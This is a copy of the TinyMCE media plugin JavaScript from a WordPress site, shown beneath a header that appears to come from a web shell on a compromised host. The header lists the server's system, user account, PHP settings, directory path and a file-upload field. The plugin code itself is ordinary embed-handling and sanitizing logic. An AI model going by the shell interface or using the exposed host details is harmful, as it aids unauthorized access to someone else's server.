|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/malam188.net/public_html/wp-includes/js/tinymce/plugins/media/ |
Upload File : |
(function () {
var media = (function () {
'use strict';
var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
var global$1 = tinymce.util.Tools.resolve('tinymce.Env');
var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');
var getScripts = function (editor) {
return editor.getParam('media_scripts');
};
var getAudioTemplateCallback = function (editor) {
return editor.getParam('audio_template_callback');
};
var getVideoTemplateCallback = function (editor) {
return editor.getParam('video_template_callback');
};
var hasLiveEmbeds = function (editor) {
return editor.getParam('media_live_embeds', true);
};
var shouldFilterHtml = function (editor) {
return editor.getParam('media_filter_html', true);
};
var getUrlResolver = function (editor) {
return editor.getParam('media_url_resolver');
};
var hasAltSource = function (editor) {
return editor.getParam('media_alt_source', true);
};
var hasPoster = function (editor) {
return editor.getParam('media_poster', true);
};
var hasDimensions = function (editor) {
return editor.getParam('media_dimensions', true);
};
var Settings = {
getScripts: getScripts,
getAudioTemplateCallback: getAudioTemplateCallback,
getVideoTemplateCallback: getVideoTemplateCallback,
hasLiveEmbeds: hasLiveEmbeds,
shouldFilterHtml: shouldFilterHtml,
getUrlResolver: getUrlResolver,
hasAltSource: hasAltSource,
hasPoster: hasPoster,
hasDimensions: hasDimensions
};
var Cell = function (initial) {
var value = initial;
var get = function () {
return value;
};
var set = function (v) {
value = v;
};
var clone = function () {
return Cell(get());
};
return {
get: get,
set: set,
clone: clone
};
};
var noop = function () {
};
var constant = function (value) {
return function () {
return value;
};
};
var never = constant(false);
var always = constant(true);
var none = function () {
return NONE;
};
var NONE = function () {
var eq = function (o) {
return o.isNone();
};
var call = function (thunk) {
return thunk();
};
var id = function (n) {
return n;
};
var me = {
fold: function (n, s) {
return n();
},
is: never,
isSome: never,
isNone: always,
getOr: id,
getOrThunk: call,
getOrDie: function (msg) {
throw new Error(msg || 'error: getOrDie called on none.');
},
getOrNull: constant(null),
getOrUndefined: constant(undefined),
or: id,
orThunk: call,
map: none,
each: noop,
bind: none,
exists: never,
forall: always,
filter: none,
equals: eq,
equals_: eq,
toArray: function () {
return [];
},
toString: constant('none()')
};
if (Object.freeze) {
Object.freeze(me);
}
return me;
}();
var some = function (a) {
var constant_a = constant(a);
var self = function () {
return me;
};
var bind = function (f) {
return f(a);
};
var me = {
fold: function (n, s) {
return s(a);
},
is: function (v) {
return a === v;
},
isSome: always,
isNone: never,
getOr: constant_a,
getOrThunk: constant_a,
getOrDie: constant_a,
getOrNull: constant_a,
getOrUndefined: constant_a,
or: self,
orThunk: self,
map: function (f) {
return some(f(a));
},
each: function (f) {
f(a);
},
bind: bind,
exists: bind,
forall: bind,
filter: function (f) {
return f(a) ? me : NONE;
},
toArray: function () {
return [a];
},
toString: function () {
return 'some(' + a + ')';
},
equals: function (o) {
return o.is(a);
},
equals_: function (o, elementEq) {
return o.fold(never, function (b) {
return elementEq(a, b);
});
}
};
return me;
};
var from = function (value) {
return value === null || value === undefined ? NONE : some(value);
};
var Option = {
some: some,
none: none,
from: from
};
var hasOwnProperty = Object.hasOwnProperty;
var get = function (obj, key) {
return has(obj, key) ? Option.from(obj[key]) : Option.none();
};
var has = function (obj, key) {
return hasOwnProperty.call(obj, key);
};
var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
var global$4 = tinymce.util.Tools.resolve('tinymce.html.SaxParser');
var getVideoScriptMatch = function (prefixes, src) {
if (prefixes) {
for (var i = 0; i < prefixes.length; i++) {
if (src.indexOf(prefixes[i].filter) !== -1) {
return prefixes[i];
}
}
}
};
var VideoScript = { getVideoScriptMatch: getVideoScriptMatch };
var DOM = global$3.DOM;
var trimPx = function (value) {
return value.replace(/px$/, '');
};
var getEphoxEmbedData = function (attrs) {
var style = attrs.map.style;
var styles = style ? DOM.parseStyle(style) : {};
return {
type: 'ephox-embed-iri',
source1: attrs.map['data-ephox-embed-iri'],
source2: '',
poster: '',
width: get(styles, 'max-width').map(trimPx).getOr(''),
height: get(styles, 'max-height').map(trimPx).getOr('')
};
};
var htmlToData = function (prefixes, html) {
var isEphoxEmbed = Cell(false);
var data = {};
global$4({
validate: false,
allow_conditional_comments: true,
special: 'script,noscript',
start: function (name, attrs) {
if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
isEphoxEmbed.set(true);
data = getEphoxEmbedData(attrs);
} else {
if (!data.source1 && name === 'param') {
data.source1 = attrs.map.movie;
}
if (name === 'iframe' || name === 'object' || name === 'embed' || name === 'video' || name === 'audio') {
if (!data.type) {
data.type = name;
}
data = global$2.extend(attrs.map, data);
}
if (name === 'script') {
var videoScript = VideoScript.getVideoScriptMatch(prefixes, attrs.map.src);
if (!videoScript) {
return;
}
data = {
type: 'script',
source1: attrs.map.src,
width: videoScript.width,
height: videoScript.height
};
}
if (name === 'source') {
if (!data.source1) {
data.source1 = attrs.map.src;
} else if (!data.source2) {
data.source2 = attrs.map.src;
}
}
if (name === 'img' && !data.poster) {
data.poster = attrs.map.src;
}
}
}
}).parse(html);
data.source1 = data.source1 || data.src || data.data;
data.source2 = data.source2 || '';
data.poster = data.poster || '';
return data;
};
var HtmlToData = { htmlToData: htmlToData };
var global$5 = tinymce.util.Tools.resolve('tinymce.util.Promise');
var guess = function (url) {
var mimes = {
mp3: 'audio/mpeg',
wav: 'audio/wav',
mp4: 'video/mp4',
webm: 'video/webm',
ogg: 'video/ogg',
swf: 'application/x-shockwave-flash'
};
var fileEnd = url.toLowerCase().split('.').pop();
var mime = mimes[fileEnd];
return mime ? mime : '';
};
var Mime = { guess: guess };
var global$6 = tinymce.util.Tools.resolve('tinymce.html.Schema');
var global$7 = tinymce.util.Tools.resolve('tinymce.html.Writer');
var DOM$1 = global$3.DOM;
var addPx = function (value) {
return /^[0-9.]+$/.test(value) ? value + 'px' : value;
};
var setAttributes = function (attrs, updatedAttrs) {
for (var name in updatedAttrs) {
var value = '' + updatedAttrs[name];
if (attrs.map[name]) {
var i = attrs.length;
while (i--) {
var attr = attrs[i];
if (attr.name === name) {
if (value) {
attrs.map[name] = value;
attr.value = value;
} else {
delete attrs.map[name];
attrs.splice(i, 1);
}
}
}
} else if (value) {
attrs.push({
name: name,
value: value
});
attrs.map[name] = value;
}
}
};
var updateEphoxEmbed = function (data, attrs) {
var style = attrs.map.style;
var styleMap = style ? DOM$1.parseStyle(style) : {};
styleMap['max-width'] = addPx(data.width);
styleMap['max-height'] = addPx(data.height);
setAttributes(attrs, { style: DOM$1.serializeStyle(styleMap) });
};
var updateHtml = function (html, data, updateAll) {
var writer = global$7();
var isEphoxEmbed = Cell(false);
var sourceCount = 0;
var hasImage;
global$4({
validate: false,
allow_conditional_comments: true,
special: 'script,noscript',
comment: function (text) {
writer.comment(text);
},
cdata: function (text) {
writer.cdata(text);
},
text: function (text, raw) {
writer.text(text, raw);
},
start: function (name, attrs, empty) {
if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
isEphoxEmbed.set(true);
updateEphoxEmbed(data, attrs);
} else {
switch (name) {
case 'video':
case 'object':
case 'embed':
case 'img':
case 'iframe':
if (data.height !== undefined && data.width !== undefined) {
setAttributes(attrs, {
width: data.width,
height: data.height
});
}
break;
}
if (updateAll) {
switch (name) {
case 'video':
setAttributes(attrs, {
poster: data.poster,
src: ''
});
if (data.source2) {
setAttributes(attrs, { src: '' });
}
break;
case 'iframe':
setAttributes(attrs, { src: data.source1 });
break;
case 'source':
sourceCount++;
if (sourceCount <= 2) {
setAttributes(attrs, {
src: data['source' + sourceCount],
type: data['source' + sourceCount + 'mime']
});
if (!data['source' + sourceCount]) {
return;
}
}
break;
case 'img':
if (!data.poster) {
return;
}
hasImage = true;
break;
}
}
}
writer.start(name, attrs, empty);
},
end: function (name) {
if (!isEphoxEmbed.get()) {
if (name === 'video' && updateAll) {
for (var index = 1; index <= 2; index++) {
if (data['source' + index]) {
var attrs = [];
attrs.map = {};
if (sourceCount < index) {
setAttributes(attrs, {
src: data['source' + index],
type: data['source' + index + 'mime']
});
writer.start('source', attrs, true);
}
}
}
}
if (data.poster && name === 'object' && updateAll && !hasImage) {
var imgAttrs = [];
imgAttrs.map = {};
setAttributes(imgAttrs, {
src: data.poster,
width: data.width,
height: data.height
});
writer.start('img', imgAttrs, true);
}
}
writer.end(name);
}
}, global$6({})).parse(html);
return writer.getContent();
};
var UpdateHtml = { updateHtml: updateHtml };
var urlPatterns = [
{
regex: /youtu\.be\/([\w\-_\?&=.]+)/i,
type: 'iframe',
w: 560,
h: 314,
url: '//www.youtube.com/embed/$1',
allowFullscreen: true
},
{
regex: /youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,
type: 'iframe',
w: 560,
h: 314,
url: '//www.youtube.com/embed/$2?$4',
allowFullscreen: true
},
{
regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,
type: 'iframe',
w: 560,
h: 314,
url: '//www.youtube.com/embed/$1',
allowFullscreen: true
},
{
regex: /vimeo\.com\/([0-9]+)/,
type: 'iframe',
w: 425,
h: 350,
url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc',
allowFullscreen: true
},
{
regex: /vimeo\.com\/(.*)\/([0-9]+)/,
type: 'iframe',
w: 425,
h: 350,
url: '//player.vimeo.com/video/$2?title=0&byline=0',
allowFullscreen: true
},
{
regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,
type: 'iframe',
w: 425,
h: 350,
url: '//maps.google.com/maps/ms?msid=$2&output=embed"',
allowFullscreen: false
},
{
regex: /dailymotion\.com\/video\/([^_]+)/,
type: 'iframe',
w: 480,
h: 270,
url: '//www.dailymotion.com/embed/video/$1',
allowFullscreen: true
},
{
regex: /dai\.ly\/([^_]+)/,
type: 'iframe',
w: 480,
h: 270,
url: '//www.dailymotion.com/embed/video/$1',
allowFullscreen: true
}
];
var getUrl = function (pattern, url) {
var match = pattern.regex.exec(url);
var newUrl = pattern.url;
var _loop_1 = function (i) {
newUrl = newUrl.replace('$' + i, function () {
return match[i] ? match[i] : '';
});
};
for (var i = 0; i < match.length; i++) {
_loop_1(i);
}
return newUrl.replace(/\?$/, '');
};
var matchPattern = function (url) {
var pattern = urlPatterns.filter(function (pattern) {
return pattern.regex.test(url);
});
if (pattern.length > 0) {
return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) });
} else {
return null;
}
};
var getIframeHtml = function (data) {
var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : '';
return '<iframe src="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '"' + allowFullscreen + '></iframe>';
};
var getFlashHtml = function (data) {
var html = '<object data="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '" type="application/x-shockwave-flash">';
if (data.poster) {
html += '<img src="' + data.poster + '" width="' + data.width + '" height="' + data.height + '" />';
}
html += '</object>';
return html;
};
var getAudioHtml = function (data, audioTemplateCallback) {
if (audioTemplateCallback) {
return audioTemplateCallback(data);
} else {
return '<audio controls="controls" src="' + data.source1 + '">' + (data.source2 ? '\n<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</audio>';
}
};
var getVideoHtml = function (data, videoTemplateCallback) {
if (videoTemplateCallback) {
return videoTemplateCallback(data);
} else {
return '<video width="' + data.width + '" height="' + data.height + '"' + (data.poster ? ' poster="' + data.poster + '"' : '') + ' controls="controls">\n' + '<source src="' + data.source1 + '"' + (data.source1mime ? ' type="' + data.source1mime + '"' : '') + ' />\n' + (data.source2 ? '<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</video>';
}
};
var getScriptHtml = function (data) {
return '<script src="' + data.source1 + '"></script>';
};
var dataToHtml = function (editor, dataIn) {
var data = global$2.extend({}, dataIn);
if (!data.source1) {
global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed));
if (!data.source1) {
return '';
}
}
if (!data.source2) {
data.source2 = '';
}
if (!data.poster) {
data.poster = '';
}
data.source1 = editor.convertURL(data.source1, 'source');
data.source2 = editor.convertURL(data.source2, 'source');
data.source1mime = Mime.guess(data.source1);
data.source2mime = Mime.guess(data.source2);
data.poster = editor.convertURL(data.poster, 'poster');
var pattern = matchPattern(data.source1);
if (pattern) {
data.source1 = pattern.url;
data.type = pattern.type;
data.allowFullscreen = pattern.allowFullscreen;
data.width = data.width || pattern.w;
data.height = data.height || pattern.h;
}
if (data.embed) {
return UpdateHtml.updateHtml(data.embed, data, true);
} else {
var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1);
if (videoScript) {
data.type = 'script';
data.width = videoScript.width;
data.height = videoScript.height;
}
var audioTemplateCallback = Settings.getAudioTemplateCallback(editor);
var videoTemplateCallback = Settings.getVideoTemplateCallback(editor);
data.width = data.width || 300;
data.height = data.height || 150;
global$2.each(data, function (value, key) {
data[key] = editor.dom.encode(value);
});
if (data.type === 'iframe') {
return getIframeHtml(data);
} else if (data.source1mime === 'application/x-shockwave-flash') {
return getFlashHtml(data);
} else if (data.source1mime.indexOf('audio') !== -1) {
return getAudioHtml(data, audioTemplateCallback);
} else if (data.type === 'script') {
return getScriptHtml(data);
} else {
return getVideoHtml(data, videoTemplateCallback);
}
}
};
var DataToHtml = { dataToHtml: dataToHtml };
var cache = {};
var embedPromise = function (data, dataToHtml, handler) {
return new global$5(function (res, rej) {
var wrappedResolve = function (response) {
if (response.html) {
cache[data.source1] = response;
}
return res({
url: data.source1,
html: response.html ? response.html : dataToHtml(data)
});
};
if (cache[data.source1]) {
wrappedResolve(cache[data.source1]);
} else {
handler({ url: data.source1 }, wrappedResolve, rej);
}
});
};
var defaultPromise = function (data, dataToHtml) {
return new global$5(function (res) {
res({
html: dataToHtml(data),
url: data.source1
});
});
};
var loadedData = function (editor) {
return function (data) {
return DataToHtml.dataToHtml(editor, data);
};
};
var getEmbedHtml = function (editor, data) {
var embedHandler = Settings.getUrlResolver(editor);
return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor));
};
var isCached = function (url) {
return cache.hasOwnProperty(url);
};
var Service = {
getEmbedHtml: getEmbedHtml,
isCached: isCached
};
var trimPx$1 = function (value) {
return value.replace(/px$/, '');
};
var addPx$1 = function (value) {
return /^[0-9.]+$/.test(value) ? value + 'px' : value;
};
var getSize = function (name) {
return function (elm) {
return elm ? trimPx$1(elm.style[name]) : '';
};
};
var setSize = function (name) {
return function (elm, value) {
if (elm) {
elm.style[name] = addPx$1(value);
}
};
};
var Size = {
getMaxWidth: getSize('maxWidth'),
getMaxHeight: getSize('maxHeight'),
setMaxWidth: setSize('maxWidth'),
setMaxHeight: setSize('maxHeight')
};
var doSyncSize = function (widthCtrl, heightCtrl) {
widthCtrl.state.set('oldVal', widthCtrl.value());
heightCtrl.state.set('oldVal', heightCtrl.value());
};
var doSizeControls = function (win, f) {
var widthCtrl = win.find('#width')[0];
var heightCtrl = win.find('#height')[0];
var constrained = win.find('#constrain')[0];
if (widthCtrl && heightCtrl && constrained) {
f(widthCtrl, heightCtrl, constrained.checked());
}
};
var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
var oldWidth = widthCtrl.state.get('oldVal');
var oldHeight = heightCtrl.state.get('oldVal');
var newWidth = widthCtrl.value();
var newHeight = heightCtrl.value();
if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
if (newWidth !== oldWidth) {
newHeight = Math.round(newWidth / oldWidth * newHeight);
if (!isNaN(newHeight)) {
heightCtrl.value(newHeight);
}
} else {
newWidth = Math.round(newHeight / oldHeight * newWidth);
if (!isNaN(newWidth)) {
widthCtrl.value(newWidth);
}
}
}
doSyncSize(widthCtrl, heightCtrl);
};
var syncSize = function (win) {
doSizeControls(win, doSyncSize);
};
var updateSize = function (win) {
doSizeControls(win, doUpdateSize);
};
var createUi = function (onChange) {
var recalcSize = function () {
onChange(function (win) {
updateSize(win);
});
};
return {
type: 'container',
label: 'Dimensions',
layout: 'flex',
align: 'center',
spacing: 5,
items: [
{
name: 'width',
type: 'textbox',
maxLength: 5,
size: 5,
onchange: recalcSize,
ariaLabel: 'Width'
},
{
type: 'label',
text: 'x'
},
{
name: 'height',
type: 'textbox',
maxLength: 5,
size: 5,
onchange: recalcSize,
ariaLabel: 'Height'
},
{
name: 'constrain',
type: 'checkbox',
checked: true,
text: 'Constrain proportions'
}
]
};
};
var SizeManager = {
createUi: createUi,
syncSize: syncSize,
updateSize: updateSize
};
var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput';
var handleError = function (editor) {
return function (error) {
var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.';
editor.notificationManager.open({
type: 'error',
text: errorMessage
});
};
};
var getData = function (editor) {
var element = editor.selection.getNode();
var dataEmbed = element.getAttribute('data-ephox-embed-iri');
if (dataEmbed) {
return {
'source1': dataEmbed,
'data-ephox-embed-iri': dataEmbed,
'width': Size.getMaxWidth(element),
'height': Size.getMaxHeight(element)
};
}
return element.getAttribute('data-mce-object') ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {};
};
var getSource = function (editor) {
var elm = editor.selection.getNode();
if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) {
return editor.selection.getContent();
}
};
var addEmbedHtml = function (win, editor) {
return function (response) {
var html = response.html;
var embed = win.find('#embed')[0];
var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url });
win.fromJSON(data);
if (embed) {
embed.value(html);
SizeManager.updateSize(win);
}
};
};
var selectPlaceholder = function (editor, beforeObjects) {
var i;
var y;
var afterObjects = editor.dom.select('img[data-mce-object]');
for (i = 0; i < beforeObjects.length; i++) {
for (y = afterObjects.length - 1; y >= 0; y--) {
if (beforeObjects[i] === afterObjects[y]) {
afterObjects.splice(y, 1);
}
}
}
editor.selection.select(afterObjects[0]);
};
var handleInsert = function (editor, html) {
var beforeObjects = editor.dom.select('img[data-mce-object]');
editor.insertContent(html);
selectPlaceholder(editor, beforeObjects);
editor.nodeChanged();
};
var submitForm = function (win, editor) {
var data = win.toJSON();
data.embed = UpdateHtml.updateHtml(data.embed, data);
if (data.embed && Service.isCached(data.source1)) {
handleInsert(editor, data.embed);
} else {
Service.getEmbedHtml(editor, data).then(function (response) {
handleInsert(editor, response.html);
}).catch(handleError(editor));
}
};
var populateMeta = function (win, meta) {
global$2.each(meta, function (value, key) {
win.find('#' + key).value(value);
});
};
var showDialog = function (editor) {
var win;
var data;
var generalFormItems = [{
name: 'source1',
type: 'filepicker',
filetype: 'media',
size: 40,
autofocus: true,
label: 'Source',
onpaste: function () {
setTimeout(function () {
Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
}, 1);
},
onchange: function (e) {
Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
populateMeta(win, e.meta);
},
onbeforecall: function (e) {
e.meta = win.toJSON();
}
}];
var advancedFormItems = [];
var reserialise = function (update) {
update(win);
data = win.toJSON();
win.find('#embed').value(UpdateHtml.updateHtml(data.embed, data));
};
if (Settings.hasAltSource(editor)) {
advancedFormItems.push({
name: 'source2',
type: 'filepicker',
filetype: 'media',
size: 40,
label: 'Alternative source'
});
}
if (Settings.hasPoster(editor)) {
advancedFormItems.push({
name: 'poster',
type: 'filepicker',
filetype: 'image',
size: 40,
label: 'Poster'
});
}
if (Settings.hasDimensions(editor)) {
var control = SizeManager.createUi(reserialise);
generalFormItems.push(control);
}
data = getData(editor);
var embedTextBox = {
id: 'mcemediasource',
type: 'textbox',
flex: 1,
name: 'embed',
value: getSource(editor),
multiline: true,
rows: 5,
label: 'Source'
};
var updateValueOnChange = function () {
data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value()));
this.parent().parent().fromJSON(data);
};
embedTextBox[embedChange] = updateValueOnChange;
var body = [
{
title: 'General',
type: 'form',
items: generalFormItems
},
{
title: 'Embed',
type: 'container',
layout: 'flex',
direction: 'column',
align: 'stretch',
padding: 10,
spacing: 10,
items: [
{
type: 'label',
text: 'Paste your embed code below:',
forId: 'mcemediasource'
},
embedTextBox
]
}
];
if (advancedFormItems.length > 0) {
body.push({
title: 'Advanced',
type: 'form',
items: advancedFormItems
});
}
win = editor.windowManager.open({
title: 'Insert/edit media',
data: data,
bodyType: 'tabpanel',
body: body,
onSubmit: function () {
SizeManager.updateSize(win);
submitForm(win, editor);
}
});
SizeManager.syncSize(win);
};
var Dialog = { showDialog: showDialog };
var get$1 = function (editor) {
var showDialog = function () {
Dialog.showDialog(editor);
};
return { showDialog: showDialog };
};
var Api = { get: get$1 };
var register = function (editor) {
var showDialog = function () {
Dialog.showDialog(editor);
};
editor.addCommand('mceMedia', showDialog);
};
var Commands = { register: register };
var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node');
var sanitize = function (editor, html) {
if (Settings.shouldFilterHtml(editor) === false) {
return html;
}
var writer = global$7();
var blocked;
global$4({
validate: false,
allow_conditional_comments: false,
special: 'script,noscript',
comment: function (text) {
writer.comment(text);
},
cdata: function (text) {
writer.cdata(text);
},
text: function (text, raw) {
writer.text(text, raw);
},
start: function (name, attrs, empty) {
blocked = true;
if (name === 'script' || name === 'noscript' || name === 'svg') {
return;
}
for (var i = attrs.length - 1; i >= 0; i--) {
var attrName = attrs[i].name;
if (attrName.indexOf('on') === 0) {
delete attrs.map[attrName];
attrs.splice(i, 1);
}
if (attrName === 'style') {
attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name);
}
}
writer.start(name, attrs, empty);
blocked = false;
},
end: function (name) {
if (blocked) {
return;
}
writer.end(name);
}
}, global$6({})).parse(html);
return writer.getContent();
};
var Sanitize = { sanitize: sanitize };
var createPlaceholderNode = function (editor, node) {
var placeHolder;
var name = node.name;
placeHolder = new global$8('img', 1);
placeHolder.shortEnded = true;
retainAttributesAndInnerHtml(editor, node, placeHolder);
placeHolder.attr({
'width': node.attr('width') || '300',
'height': node.attr('height') || (name === 'audio' ? '30' : '150'),
'style': node.attr('style'),
'src': global$1.transparentSrc,
'data-mce-object': name,
'class': 'mce-object mce-object-' + name
});
return placeHolder;
};
var createPreviewIframeNode = function (editor, node) {
var previewWrapper;
var previewNode;
var shimNode;
var name = node.name;
previewWrapper = new global$8('span', 1);
previewWrapper.attr({
'contentEditable': 'false',
'style': node.attr('style'),
'data-mce-object': name,
'class': 'mce-preview-object mce-object-' + name
});
retainAttributesAndInnerHtml(editor, node, previewWrapper);
previewNode = new global$8(name, 1);
previewNode.attr({
src: node.attr('src'),
allowfullscreen: node.attr('allowfullscreen'),
style: node.attr('style'),
class: node.attr('class'),
width: node.attr('width'),
height: node.attr('height'),
frameborder: '0'
});
shimNode = new global$8('span', 1);
shimNode.attr('class', 'mce-shim');
previewWrapper.append(previewNode);
previewWrapper.append(shimNode);
return previewWrapper;
};
var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) {
var attrName;
var attrValue;
var attribs;
var ai;
var innerHtml;
attribs = sourceNode.attributes;
ai = attribs.length;
while (ai--) {
attrName = attribs[ai].name;
attrValue = attribs[ai].value;
if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') {
if (attrName === 'data' || attrName === 'src') {
attrValue = editor.convertURL(attrValue, attrName);
}
targetNode.attr('data-mce-p-' + attrName, attrValue);
}
}
innerHtml = sourceNode.firstChild && sourceNode.firstChild.value;
if (innerHtml) {
targetNode.attr('data-mce-html', escape(Sanitize.sanitize(editor, innerHtml)));
targetNode.firstChild = null;
}
};
var isWithinEphoxEmbed = function (node) {
while (node = node.parent) {
if (node.attr('data-ephox-embed-iri')) {
return true;
}
}
return false;
};
var placeHolderConverter = function (editor) {
return function (nodes) {
var i = nodes.length;
var node;
var videoScript;
while (i--) {
node = nodes[i];
if (!node.parent) {
continue;
}
if (node.parent.attr('data-mce-object')) {
continue;
}
if (node.name === 'script') {
videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr('src'));
if (!videoScript) {
continue;
}
}
if (videoScript) {
if (videoScript.width) {
node.attr('width', videoScript.width.toString());
}
if (videoScript.height) {
node.attr('height', videoScript.height.toString());
}
}
if (node.name === 'iframe' && Settings.hasLiveEmbeds(editor) && global$1.ceFalse) {
if (!isWithinEphoxEmbed(node)) {
node.replace(createPreviewIframeNode(editor, node));
}
} else {
if (!isWithinEphoxEmbed(node)) {
node.replace(createPlaceholderNode(editor, node));
}
}
}
};
};
var Nodes = {
createPreviewIframeNode: createPreviewIframeNode,
createPlaceholderNode: createPlaceholderNode,
placeHolderConverter: placeHolderConverter
};
var setup = function (editor) {
editor.on('preInit', function () {
var specialElements = editor.schema.getSpecialElements();
global$2.each('video audio iframe object'.split(' '), function (name) {
specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
});
var boolAttrs = editor.schema.getBoolAttrs();
global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) {
boolAttrs[name] = {};
});
editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', Nodes.placeHolderConverter(editor));
editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) {
var i = nodes.length;
var node;
var realElm;
var ai;
var attribs;
var innerHtml;
var innerNode;
var realElmName;
var className;
while (i--) {
node = nodes[i];
if (!node.parent) {
continue;
}
realElmName = node.attr(name);
realElm = new global$8(realElmName, 1);
if (realElmName !== 'audio' && realElmName !== 'script') {
className = node.attr('class');
if (className && className.indexOf('mce-preview-object') !== -1) {
realElm.attr({
width: node.firstChild.attr('width'),
height: node.firstChild.attr('height')
});
} else {
realElm.attr({
width: node.attr('width'),
height: node.attr('height')
});
}
}
realElm.attr({ style: node.attr('style') });
attribs = node.attributes;
ai = attribs.length;
while (ai--) {
var attrName = attribs[ai].name;
if (attrName.indexOf('data-mce-p-') === 0) {
realElm.attr(attrName.substr(11), attribs[ai].value);
}
}
if (realElmName === 'script') {
realElm.attr('type', 'text/javascript');
}
innerHtml = node.attr('data-mce-html');
if (innerHtml) {
innerNode = new global$8('#text', 3);
innerNode.raw = true;
innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml));
realElm.append(innerNode);
}
node.replace(realElm);
}
});
});
editor.on('setContent', function () {
editor.$('span.mce-preview-object').each(function (index, elm) {
var $elm = editor.$(elm);
if ($elm.find('span.mce-shim', elm).length === 0) {
$elm.append('<span class="mce-shim"></span>');
}
});
});
};
var FilterContent = { setup: setup };
var setup$1 = function (editor) {
editor.on('ResolveName', function (e) {
var name;
if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) {
e.name = name;
}
});
};
var ResolveName = { setup: setup$1 };
var setup$2 = function (editor) {
editor.on('click keyup', function () {
var selectedNode = editor.selection.getNode();
if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) {
if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) {
selectedNode.setAttribute('data-mce-selected', '2');
}
}
});
editor.on('ObjectSelected', function (e) {
var objectType = e.target.getAttribute('data-mce-object');
if (objectType === 'audio' || objectType === 'script') {
e.preventDefault();
}
});
editor.on('objectResized', function (e) {
var target = e.target;
var html;
if (target.getAttribute('data-mce-object')) {
html = target.getAttribute('data-mce-html');
if (html) {
html = unescape(html);
target.setAttribute('data-mce-html', escape(UpdateHtml.updateHtml(html, {
width: e.width,
height: e.height
})));
}
}
});
};
var Selection = { setup: setup$2 };
var register$1 = function (editor) {
editor.addButton('media', {
tooltip: 'Insert/edit media',
cmd: 'mceMedia',
stateSelector: [
'img[data-mce-object]',
'span[data-mce-object]',
'div[data-ephox-embed-iri]'
]
});
editor.addMenuItem('media', {
icon: 'media',
text: 'Media',
cmd: 'mceMedia',
context: 'insert',
prependToContext: true
});
};
var Buttons = { register: register$1 };
global.add('media', function (editor) {
Commands.register(editor);
Buttons.register(editor);
ResolveName.setup(editor);
FilterContent.setup(editor);
Selection.setup(editor);
return Api.get(editor);
});
function Plugin () {
}
return Plugin;
}());
